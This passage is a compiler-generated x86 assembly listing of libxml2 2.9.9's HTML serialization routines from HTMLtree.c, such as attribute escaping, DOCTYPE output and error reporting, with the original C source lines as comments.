; 695 : xmlOutputBufferWriteString(buf, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
$LN8@htmlAttrDu:
; 696 : }
; 697 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+8]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 698 : if ((cur->children != NULL) && (!htmlIsBooleanAttr(cur->name))) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+12], 0
je $LN1@htmlAttrDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _htmlIsBooleanAttr
add esp, 4
test eax, eax
jne $LN1@htmlAttrDu
; 699 : value = xmlNodeListGetString(doc, cur->children, 0);
push 0
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _doc$[ebp]
push edx
call _xmlNodeListGetString
add esp, 12 ; 0000000cH
mov DWORD PTR _value$[ebp], eax
; 700 : if (value) {
cmp DWORD PTR _value$[ebp], 0
je $LN10@htmlAttrDu
; 701 : xmlOutputBufferWriteString(buf, "=");
push OFFSET ??_C@_01NEMOKFLO@?$DN@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 702 : if ((cur->ns == NULL) && (cur->parent != NULL) &&
; 703 : (cur->parent->ns == NULL) &&
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+36], 0
jne $LN12@htmlAttrDu
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+20], 0
je $LN12@htmlAttrDu
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+20]
cmp DWORD PTR [ecx+36], 0
jne $LN12@htmlAttrDu
push OFFSET ??_C@_04CMBCJJJD@href@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
je SHORT $LN14@htmlAttrDu
push OFFSET ??_C@_06DDLLCOJG@action@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
je SHORT $LN14@htmlAttrDu
push OFFSET ??_C@_03LOJEKLML@src@
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrcasecmp
add esp, 8
test eax, eax
je SHORT $LN14@htmlAttrDu
push OFFSET ??_C@_04MEMAJGDJ@name@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne $LN12@htmlAttrDu
push OFFSET ??_C@_01MCMALHOG@a@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne $LN12@htmlAttrDu
$LN14@htmlAttrDu:
; 704 : ((!xmlStrcasecmp(cur->name, BAD_CAST "href")) ||
; 705 : (!xmlStrcasecmp(cur->name, BAD_CAST "action")) ||
; 706 : (!xmlStrcasecmp(cur->name, BAD_CAST "src")) ||
; 707 : ((!xmlStrcasecmp(cur->name, BAD_CAST "name")) &&
; 708 : (!xmlStrcasecmp(cur->parent->name, BAD_CAST "a"))))) {
; 709 : xmlChar *tmp = value;
mov ecx, DWORD PTR _value$[ebp]
mov DWORD PTR _tmp$5[ebp], ecx
; 710 : /* xmlURIEscapeStr() escapes '"' so it can be safely used. */
; 711 : xmlBufCCat(buf->buffer, "\"");
push OFFSET ??_C@_01BJJEKLCA@?$CC@
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call _xmlBufCCat
add esp, 8
$LN2@htmlAttrDu:
; 712 :
; 713 : while (IS_BLANK_CH(*tmp)) tmp++;
mov ecx, DWORD PTR _tmp$5[ebp]
movzx edx, BYTE PTR [ecx]
cmp edx, 32 ; 00000020H
je SHORT $LN15@htmlAttrDu
mov eax, DWORD PTR _tmp$5[ebp]
movzx ecx, BYTE PTR [eax]
cmp ecx, 9
jl SHORT $LN16@htmlAttrDu
mov edx, DWORD PTR _tmp$5[ebp]
movzx eax, BYTE PTR [edx]
cmp eax, 10 ; 0000000aH
jle SHORT $LN15@htmlAttrDu
$LN16@htmlAttrDu:
mov ecx, DWORD PTR _tmp$5[ebp]
movzx edx, BYTE PTR [ecx]
cmp edx, 13 ; 0000000dH
jne SHORT $LN6@htmlAttrDu
$LN15@htmlAttrDu:
mov eax, DWORD PTR _tmp$5[ebp]
add eax, 1
mov DWORD PTR _tmp$5[ebp], eax
jmp SHORT $LN2@htmlAttrDu
$LN6@htmlAttrDu:
; 714 :
; 715 : /* URI Escape everything, except server side includes. */
; 716 : for ( ; ; ) {
; 717 : xmlChar *escaped;
; 718 : xmlChar endChar;
; 719 : xmlChar *end = NULL;
mov DWORD PTR _end$2[ebp], 0
; 720 : xmlChar *start = (xmlChar *)xmlStrstr(tmp, BAD_CAST "<!--");
push OFFSET ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
mov ecx, DWORD PTR _tmp$5[ebp]
push ecx
call _xmlStrstr
add esp, 8
mov DWORD PTR _start$1[ebp], eax
; 721 : if (start != NULL) {
cmp DWORD PTR _start$1[ebp], 0
je SHORT $LN17@htmlAttrDu
; 722 : end = (xmlChar *)xmlStrstr(tmp, BAD_CAST "-->");
push OFFSET ??_C@_03PNLDJJMO@?9?9?$DO@
mov edx, DWORD PTR _tmp$5[ebp]
push edx
call _xmlStrstr
add esp, 8
mov DWORD PTR _end$2[ebp], eax
; 723 : if (end != NULL) {
cmp DWORD PTR _end$2[ebp], 0
je SHORT $LN17@htmlAttrDu
; 724 : *start = '\0';
mov eax, DWORD PTR _start$1[ebp]
mov BYTE PTR [eax], 0
$LN17@htmlAttrDu:
; 725 : }
; 726 : }
; 727 :
; 728 : /* Escape the whole string, or until start (set to '\0'). */
; 729 : escaped = xmlURIEscapeStr(tmp, BAD_CAST"@/:=?;#%&,+");
push OFFSET ??_C@_0M@LNGMBFJP@?$EA?1?3?$DN?$DP?$DL?$CD?$CF?$CG?0?$CL@
mov ecx, DWORD PTR _tmp$5[ebp]
push ecx
call _xmlURIEscapeStr
add esp, 8
mov DWORD PTR _escaped$4[ebp], eax
; 730 : if (escaped != NULL) {
cmp DWORD PTR _escaped$4[ebp], 0
je SHORT $LN19@htmlAttrDu
; 731 : xmlBufCat(buf->buffer, escaped);
mov edx, DWORD PTR _escaped$4[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
mov ecx, DWORD PTR [eax+16]
push ecx
call _xmlBufCat
add esp, 8
; 732 : xmlFree(escaped);
mov esi, esp
mov edx, DWORD PTR _escaped$4[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 733 : } else {
jmp SHORT $LN20@htmlAttrDu
$LN19@htmlAttrDu:
; 734 : xmlBufCat(buf->buffer, tmp);
mov eax, DWORD PTR _tmp$5[ebp]
push eax
mov ecx, DWORD PTR _buf$[ebp]
mov edx, DWORD PTR [ecx+16]
push edx
call _xmlBufCat
add esp, 8
$LN20@htmlAttrDu:
; 735 : }
; 736 :
; 737 : if (end == NULL) { /* Everything has been written. */
cmp DWORD PTR _end$2[ebp], 0
jne SHORT $LN21@htmlAttrDu
; 738 : break;
jmp SHORT $LN5@htmlAttrDu
$LN21@htmlAttrDu:
; 739 : }
; 740 :
; 741 : /* Do not escape anything within server side includes. */
; 742 : *start = '<'; /* Restore the first character of "<!--". */
mov eax, DWORD PTR _start$1[ebp]
mov BYTE PTR [eax], 60 ; 0000003cH
; 743 : end += 3; /* strlen("-->") */
mov ecx, DWORD PTR _end$2[ebp]
add ecx, 3
mov DWORD PTR _end$2[ebp], ecx
; 744 : endChar = *end;
mov edx, DWORD PTR _end$2[ebp]
mov al, BYTE PTR [edx]
mov BYTE PTR _endChar$3[ebp], al
; 745 : *end = '\0';
mov ecx, DWORD PTR _end$2[ebp]
mov BYTE PTR [ecx], 0
; 746 : xmlBufCat(buf->buffer, start);
mov edx, DWORD PTR _start$1[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
mov ecx, DWORD PTR [eax+16]
push ecx
call _xmlBufCat
add esp, 8
; 747 : *end = endChar;
mov edx, DWORD PTR _end$2[ebp]
mov al, BYTE PTR _endChar$3[ebp]
mov BYTE PTR [edx], al
; 748 : tmp = end;
mov ecx, DWORD PTR _end$2[ebp]
mov DWORD PTR _tmp$5[ebp], ecx
; 749 : }
jmp $LN6@htmlAttrDu
$LN5@htmlAttrDu:
; 750 :
; 751 : xmlBufCCat(buf->buffer, "\"");
push OFFSET ??_C@_01BJJEKLCA@?$CC@
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call _xmlBufCCat
add esp, 8
; 752 : } else {
jmp SHORT $LN13@htmlAttrDu
$LN12@htmlAttrDu:
; 753 : xmlBufWriteQuotedString(buf->buffer, value);
mov ecx, DWORD PTR _value$[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call _xmlBufWriteQuotedString
add esp, 8
$LN13@htmlAttrDu:
; 754 : }
; 755 : xmlFree(value);
mov esi, esp
mov ecx, DWORD PTR _value$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 756 : } else {
jmp SHORT $LN1@htmlAttrDu
$LN10@htmlAttrDu:
; 757 : xmlOutputBufferWriteString(buf, "=\"\"");
push OFFSET ??_C@_03EAIBNEDB@?$DN?$CC?$CC@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
$LN1@htmlAttrDu:
; 758 : }
; 759 : }
; 760 : }
pop esi
add esp, 24 ; 00000018H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlAttrDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlDtdDumpOutput
_TEXT SEGMENT
_cur$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_htmlDtdDumpOutput PROC ; COMDAT
; 644 : const char *encoding ATTRIBUTE_UNUSED) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 645 : xmlDtdPtr cur = doc->intSubset;
mov eax, DWORD PTR _doc$[ebp]
mov ecx, DWORD PTR [eax+44]
mov DWORD PTR _cur$[ebp], ecx
; 646 :
; 647 : if (cur == NULL) {
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN2@htmlDtdDum
; 648 : htmlSaveErr(XML_SAVE_NO_DOCTYPE, (xmlNodePtr) doc, NULL);
push 0
mov edx, DWORD PTR _doc$[ebp]
push edx
push 1402 ; 0000057aH
call _htmlSaveErr
add esp, 12 ; 0000000cH
; 649 : return;
jmp $LN1@htmlDtdDum
$LN2@htmlDtdDum:
; 650 : }
; 651 : xmlOutputBufferWriteString(buf, "<!DOCTYPE ");
push OFFSET ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 652 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
; 653 : if (cur->ExternalID != NULL) {
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+52], 0
je SHORT $LN3@htmlDtdDum
; 654 : xmlOutputBufferWriteString(buf, " PUBLIC ");
push OFFSET ??_C@_08GBBLECIH@?5PUBLIC?5@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 655 : xmlBufWriteQuotedString(buf->buffer, cur->ExternalID);
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+52]
push ecx
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call _xmlBufWriteQuotedString
add esp, 8
; 656 : if (cur->SystemID != NULL) {
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+56], 0
je SHORT $LN5@htmlDtdDum
; 657 : xmlOutputBufferWriteString(buf, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferWriteString
add esp, 8
; 658 : xmlBufWriteQuotedString(buf->buffer, cur->SystemID);
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+56]
push ecx
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call _xmlBufWriteQuotedString
add esp, 8
$LN5@htmlDtdDum:
; 659 : }
jmp SHORT $LN4@htmlDtdDum
$LN3@htmlDtdDum:
; 660 : } else if (cur->SystemID != NULL &&
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+56], 0
je SHORT $LN4@htmlDtdDum
push OFFSET ??_C@_0BE@LDMALNEE@about?3legacy?9compat@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+56]
push eax
call _xmlStrcmp
add esp, 8
test eax, eax
je SHORT $LN4@htmlDtdDum
; 661 : xmlStrcmp(cur->SystemID, BAD_CAST "about:legacy-compat")) {
; 662 : xmlOutputBufferWriteString(buf, " SYSTEM ");
push OFFSET ??_C@_08PAGGLANP@?5SYSTEM?5@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 663 : xmlBufWriteQuotedString(buf->buffer, cur->SystemID);
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+56]
push eax
mov ecx, DWORD PTR _buf$[ebp]
mov edx, DWORD PTR [ecx+16]
push edx
call _xmlBufWriteQuotedString
add esp, 8
$LN4@htmlDtdDum:
; 664 : }
; 665 : xmlOutputBufferWriteString(buf, ">\n");
push OFFSET ??_C@_02NEKEAGPN@?$DO?6@
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferWriteString
add esp, 8
$LN1@htmlDtdDum:
; 666 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlDtdDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlBufNodeDumpFormat
_TEXT SEGMENT
_outbuf$ = -12 ; size = 4
_ret$ = -8 ; size = 4
_use$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_format$ = 20 ; size = 4
_htmlBufNodeDumpFormat PROC ; COMDAT
; 409 : int format) {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
push esi
mov DWORD PTR [ebp-12], -858993460 ; ccccccccH
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 410 : size_t use;
; 411 : int ret;
; 412 : xmlOutputBufferPtr outbuf;
; 413 :
; 414 : if (cur == NULL) {
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN2@htmlBufNod
; 415 : return (-1);
or eax, -1
jmp $LN1@htmlBufNod
$LN2@htmlBufNod:
; 416 : }
; 417 : if (buf == NULL) {
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN3@htmlBufNod
; 418 : return (-1);
or eax, -1
jmp $LN1@htmlBufNod
$LN3@htmlBufNod:
; 419 : }
; 420 : outbuf = (xmlOutputBufferPtr) xmlMalloc(sizeof(xmlOutputBuffer));
mov esi, esp
push 32 ; 00000020H
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov DWORD PTR _outbuf$[ebp], eax
; 421 : if (outbuf == NULL) {
cmp DWORD PTR _outbuf$[ebp], 0
jne SHORT $LN4@htmlBufNod
; 422 : htmlSaveErrMemory("allocating HTML output buffer");
push OFFSET ??_C@_0BO@IIMAGFKO@allocating?5HTML?5output?5buffer@
call _htmlSaveErrMemory
add esp, 4
; 423 : return (-1);
or eax, -1
jmp $LN1@htmlBufNod
$LN4@htmlBufNod:
; 424 : }
; 425 : memset(outbuf, 0, (size_t) sizeof(xmlOutputBuffer));
xor eax, eax
mov ecx, DWORD PTR _outbuf$[ebp]
mov DWORD PTR [ecx], eax
mov DWORD PTR [ecx+4], eax
mov DWORD PTR [ecx+8], eax
mov DWORD PTR [ecx+12], eax
mov DWORD PTR [ecx+16], eax
mov DWORD PTR [ecx+20], eax
mov DWORD PTR [ecx+24], eax
mov DWORD PTR [ecx+28], eax
; 426 : outbuf->buffer = buf;
mov edx, DWORD PTR _outbuf$[ebp]
mov eax, DWORD PTR _buf$[ebp]
mov DWORD PTR [edx+16], eax
; 427 : outbuf->encoder = NULL;
mov ecx, DWORD PTR _outbuf$[ebp]
mov DWORD PTR [ecx+12], 0
; 428 : outbuf->writecallback = NULL;
mov edx, DWORD PTR _outbuf$[ebp]
mov DWORD PTR [edx+4], 0
; 429 : outbuf->closecallback = NULL;
mov eax, DWORD PTR _outbuf$[ebp]
mov DWORD PTR [eax+8], 0
; 430 : outbuf->context = NULL;
mov ecx, DWORD PTR _outbuf$[ebp]
mov DWORD PTR [ecx], 0
; 431 : outbuf->written = 0;
mov edx, DWORD PTR _outbuf$[ebp]
mov DWORD PTR [edx+24], 0
; 432 :
; 433 : use = xmlBufUse(buf);
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlBufUse
add esp, 4
mov DWORD PTR _use$[ebp], eax
; 434 : htmlNodeDumpFormatOutput(outbuf, doc, cur, NULL, format);
mov ecx, DWORD PTR _format$[ebp]
push ecx
push 0
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
mov ecx, DWORD PTR _outbuf$[ebp]
push ecx
call _htmlNodeDumpFormatOutput
add esp, 20 ; 00000014H
; 435 : xmlFree(outbuf);
mov esi, esp
mov edx, DWORD PTR _outbuf$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 436 : ret = xmlBufUse(buf) - use;
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlBufUse
add esp, 4
sub eax, DWORD PTR _use$[ebp]
mov DWORD PTR _ret$[ebp], eax
; 437 : return (ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@htmlBufNod:
; 438 : }
pop esi
add esp, 12 ; 0000000cH
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlBufNodeDumpFormat ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlSaveErr
_TEXT SEGMENT
tv64 = -8 ; size = 4
_msg$ = -4 ; size = 4
_code$ = 8 ; size = 4
_node$ = 12 ; size = 4
_extra$ = 16 ; size = 4
_htmlSaveErr PROC ; COMDAT
; 368 : {
push ebp
mov ebp, esp
sub esp, 8
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 369 : const char *msg = NULL;
mov DWORD PTR _msg$[ebp], 0
; 370 :
; 371 : switch(code) {
mov eax, DWORD PTR _code$[ebp]
mov DWORD PTR tv64[ebp], eax
mov ecx, DWORD PTR tv64[ebp]
sub ecx, 1400 ; 00000578H
mov DWORD PTR tv64[ebp], ecx
cmp DWORD PTR tv64[ebp], 3
ja SHORT $LN8@htmlSaveEr
mov edx, DWORD PTR tv64[ebp]
jmp DWORD PTR $LN10@htmlSaveEr[edx*4]
$LN4@htmlSaveEr:
; 372 : case XML_SAVE_NOT_UTF8:
; 373 : msg = "string is not in UTF-8\n";
mov DWORD PTR _msg$[ebp], OFFSET ??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@
; 374 : break;
jmp SHORT $LN2@htmlSaveEr
$LN5@htmlSaveEr:
; 375 : case XML_SAVE_CHAR_INVALID:
; 376 : msg = "invalid character value\n";
mov DWORD PTR _msg$[ebp], OFFSET ??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@
; 377 : break;
jmp SHORT $LN2@htmlSaveEr
$LN6@htmlSaveEr:
; 378 : case XML_SAVE_UNKNOWN_ENCODING:
; 379 : msg = "unknown encoding %s\n";
mov DWORD PTR _msg$[ebp], OFFSET ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
; 380 : break;
jmp SHORT $LN2@htmlSaveEr
$LN7@htmlSaveEr:
; 381 : case XML_SAVE_NO_DOCTYPE:
; 382 : msg = "HTML has no DOCTYPE\n";
mov DWORD PTR _msg$[ebp], OFFSET ??_C@_0BF@DMLFPEHI@HTML?5has?5no?5DOCTYPE?6@
; 383 : break;
jmp SHORT $LN2@htmlSaveEr
$LN8@htmlSaveEr:
; 384 : default:
; 385 : msg = "unexpected error number\n";
mov DWORD PTR _msg$[ebp], OFFSET ??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@
$LN2@htmlSaveEr:
; 386 : }
; 387 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
mov eax, DWORD PTR _extra$[ebp]
push eax
mov ecx, DWORD PTR _msg$[ebp]
push ecx
mov edx, DWORD PTR _node$[ebp]
push edx
mov eax, DWORD PTR _code$[ebp]
push eax
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 388 : }
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
npad 2
$LN10@htmlSaveEr:
DD $LN4@htmlSaveEr
DD $LN5@htmlSaveEr
DD $LN7@htmlSaveEr
DD $LN6@htmlSaveEr
_htmlSaveErr ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlSaveErrMemory
_TEXT SEGMENT
_extra$ = 8 ; size = 4
_htmlSaveErrMemory PROC ; COMDAT
; 354 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 355 : __xmlSimpleError(XML_FROM_OUTPUT, XML_ERR_NO_MEMORY, NULL, NULL, extra);
mov eax, DWORD PTR _extra$[ebp]
push eax
push 0
push 0
push 2
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 356 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlSaveErrMemory ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlIsBooleanAttr
_TEXT SEGMENT
_i$ = -4 ; size = 4
_name$ = 8 ; size = 4
_htmlIsBooleanAttr PROC ; COMDAT
; 324 : {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 325 : int i = 0;
mov DWORD PTR _i$[ebp], 0
$LN2@htmlIsBool:
; 326 :
; 327 : while (htmlBooleanAttrs[i] != NULL) {
mov eax, DWORD PTR _i$[ebp]
cmp DWORD PTR _htmlBooleanAttrs[eax*4], 0
je SHORT $LN3@htmlIsBool
; 328 : if (xmlStrcasecmp((const xmlChar *)htmlBooleanAttrs[i], name) == 0)
mov ecx, DWORD PTR _name$[ebp]
push ecx
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR _htmlBooleanAttrs[edx*4]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN4@htmlIsBool
; 329 : return 1;
mov eax, 1
jmp SHORT $LN1@htmlIsBool
$LN4@htmlIsBool:
; 330 : i++;
mov ecx, DWORD PTR _i$[ebp]
add ecx, 1
mov DWORD PTR _i$[ebp], ecx
; 331 : }
jmp SHORT $LN2@htmlIsBool
$LN3@htmlIsBool:
; 332 : return 0;
xor eax, eax
$LN1@htmlIsBool:
; 333 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlIsBooleanAttr ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlNodeDumpOutput
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_htmlNodeDumpOutput PROC ; COMDAT
; 1007 : xmlNodePtr cur, const char *encoding) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1008 : htmlNodeDumpFormatOutput(buf, doc, cur, encoding, 1);
push 1
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _doc$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _htmlNodeDumpFormatOutput
add esp, 20 ; 00000014H
; 1009 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlNodeDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlDocContentDumpFormatOutput
_TEXT SEGMENT
_type$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_format$ = 20 ; size = 4
_htmlDocContentDumpFormatOutput PROC ; COMDAT
; 1022 : const char *encoding, int format) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1023 : int type;
; 1024 :
; 1025 : xmlInitParser();
call _xmlInitParser
; 1026 :
; 1027 : if ((buf == NULL) || (cur == NULL))
cmp DWORD PTR _buf$[ebp], 0
je SHORT $LN3@htmlDocCon
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN2@htmlDocCon
$LN3@htmlDocCon:
; 1028 : return;
jmp SHORT $LN1@htmlDocCon
$LN2@htmlDocCon:
; 1029 :
; 1030 : /*
; 1031 : * force to output the stuff as HTML, especially for entities
; 1032 : */
; 1033 : type = cur->type;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+4]
mov DWORD PTR _type$[ebp], ecx
; 1034 : cur->type = XML_HTML_DOCUMENT_NODE;
mov edx, DWORD PTR _cur$[ebp]
mov DWORD PTR [edx+4], 13 ; 0000000dH
; 1035 : if (cur->intSubset != NULL) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+44], 0
je SHORT $LN4@htmlDocCon
; 1036 : htmlDtdDumpOutput(buf, cur, NULL);
push 0
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _htmlDtdDumpOutput
add esp, 12 ; 0000000cH
$LN4@htmlDocCon:
; 1037 : }
; 1038 : if (cur->children != NULL) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+12], 0
je SHORT $LN5@htmlDocCon
; 1039 : htmlNodeListDumpOutput(buf, cur, cur->children, encoding, format);
mov ecx, DWORD PTR _format$[ebp]
push ecx
mov edx, DWORD PTR _encoding$[ebp]
push edx
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _htmlNodeListDumpOutput
add esp, 20 ; 00000014H
$LN5@htmlDocCon:
; 1040 : }
; 1041 : xmlOutputBufferWriteString(buf, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
; 1042 : cur->type = (xmlElementType) type;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR _type$[ebp]
mov DWORD PTR [edx+4], eax
$LN1@htmlDocCon:
; 1043 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlDocContentDumpFormatOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlDocContentDumpOutput
_TEXT SEGMENT
